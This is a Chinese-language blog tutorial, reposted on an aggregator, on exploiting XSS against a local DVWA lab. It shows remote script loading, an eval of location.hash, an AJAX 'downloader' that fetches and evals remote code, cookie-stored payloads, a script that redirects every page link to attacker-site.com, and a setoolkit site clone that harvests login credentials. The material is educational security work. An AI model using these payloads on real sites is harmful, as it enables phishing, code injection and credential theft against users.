我是靠谱客的博主 拉长橘子,最近开发中收集的这篇文章主要介绍OWASP TOP 10(二)XSS漏洞(shellcode调用方法、XSS的利用)OWASP TOP 10,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

文章目录

  • OWASP TOP 10
    • XSS漏洞
      • 一、shellcode的调用
        • 1. 远程调用
        • 2. windows.location.hash
        • 3. XSS Downloader
        • 4. 备选存储技术
      • 二、XSS漏洞的利用
        • 1. 篡改url
        • 2. 使用setoolkit克隆网站

OWASP TOP 10

XSS漏洞

一、shellcode的调用

shellcode就是在利用漏洞所执行的代码。完整的XSS攻击,会将shellcode
存放在一定的地方,然后触发漏洞,调用shellcode。

1. 远程调用

这是比较常用的方式。将JS代码单独放在一个js文件中,然后通过http协议远程加载该脚本。
如:<script src="http://IP地址/js文件的路径"></script>

示例:

在这里插入图片描述

js脚本内容:

alert('xss');

提交结果:成功执行

在这里插入图片描述

2. windows.location.hash

我们也可以使用js中的windows.location.hash方法获取浏览器URL地址栏的XSS代码。

windows.location.hash会获取URL中#和其后面的内容,例如http://domain.com/index.php#hello,windows.location.hash的值就#hello

所以我们可以构造如下代码:
?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/), 直接提交到测试页面。

  • location.hash.substr(1)就是截取#后面的所有内容

在这里插入图片描述

3. XSS Downloader

XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码。

常见的下载器代码:

<script>
function XSS(){
	if(window.XMLHttpRequest){
		a = new XMLHttpRequest();
	}else if(window.ActiveXObject){
		a = new ActiveXObject("Microsoft.XMLHTTP");
	}else{
		return;
	}
	a.open('get','IP地址+文件路径',false);
	a.send();
	b = a.responseText;
	eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexof('|EOF'))));
}
XSS();
</script>

AJAX技术由于会受到同源策略的限制,为解决该问题,需要在服务端代码添加以下内容:

<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept');
?>

示例:

服务端代码(xss_downloader.php)为:

<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept');
?>

~~~~~~html代码~~~~~~BOF|alert(/XSS/)|EOF~~~~~~html代码~~~~~~

在这里插入图片描述

4. 备选存储技术

我们可以把Shellcode存储在客户端的本地域中,比如HTTP Cookie、 Flash共享对象、UserData、localStorage 等。

以HTTP Cookie为例

<meta charset='utf-8'>
<?php
if(setcookie("name","<script>alert(/xss/)</script>")){
	echo "<a href='./xss.php' target='_blank'>Cookie-XSS验证</a>";
}else{
	echo "设置cookie失败";
}
?>

在这里插入图片描述

点击Cookie-XSS验证:

在这里插入图片描述

二、XSS漏洞的利用

1. 篡改url

使用js函数:windows.onload

window.onload当窗口加载时,执行匿名函数。使用for循环遍历所有获得的链接a标签,将链接篡改为XSS链接。

<script>
window.onload=function(){
var link=document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
  link[j].href="http://attacker-site.com/";}
}
</script>

反射型示例:所有的链接被替换成我们定义的链接了。

在这里插入图片描述

定义的链接可以篡改为指向流量url(刷流量),或者篡改为beef生成的url实施监测。

2. 使用setoolkit克隆网站

在这里插入图片描述
在这里插入图片描述

选择1

在这里插入图片描述

选择2

在这里插入图片描述

选择3

在这里插入图片描述

选择2,输入想要克隆的url:

在这里插入图片描述

我们这里克隆我们本地的DVWA的登录站点:

在这里插入图片描述

访问本地IP,登录到DVWA的页面:

在这里插入图片描述

将XSS存储跳转克隆网站获取用户名、密码:

在这里插入图片描述

存储后它会直接跳转到我们克隆后的url地址,我们在这里登录后,setoolkit工具就会获得你的用户名密码:

在这里插入图片描述

最后

以上就是拉长橘子为你收集整理的OWASP TOP 10(二)XSS漏洞(shellcode调用方法、XSS的利用)OWASP TOP 10的全部内容,希望文章能够帮你解决OWASP TOP 10(二)XSS漏洞(shellcode调用方法、XSS的利用)OWASP TOP 10所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(37)

评论列表共有 0 条评论

立即
投稿
返回
顶部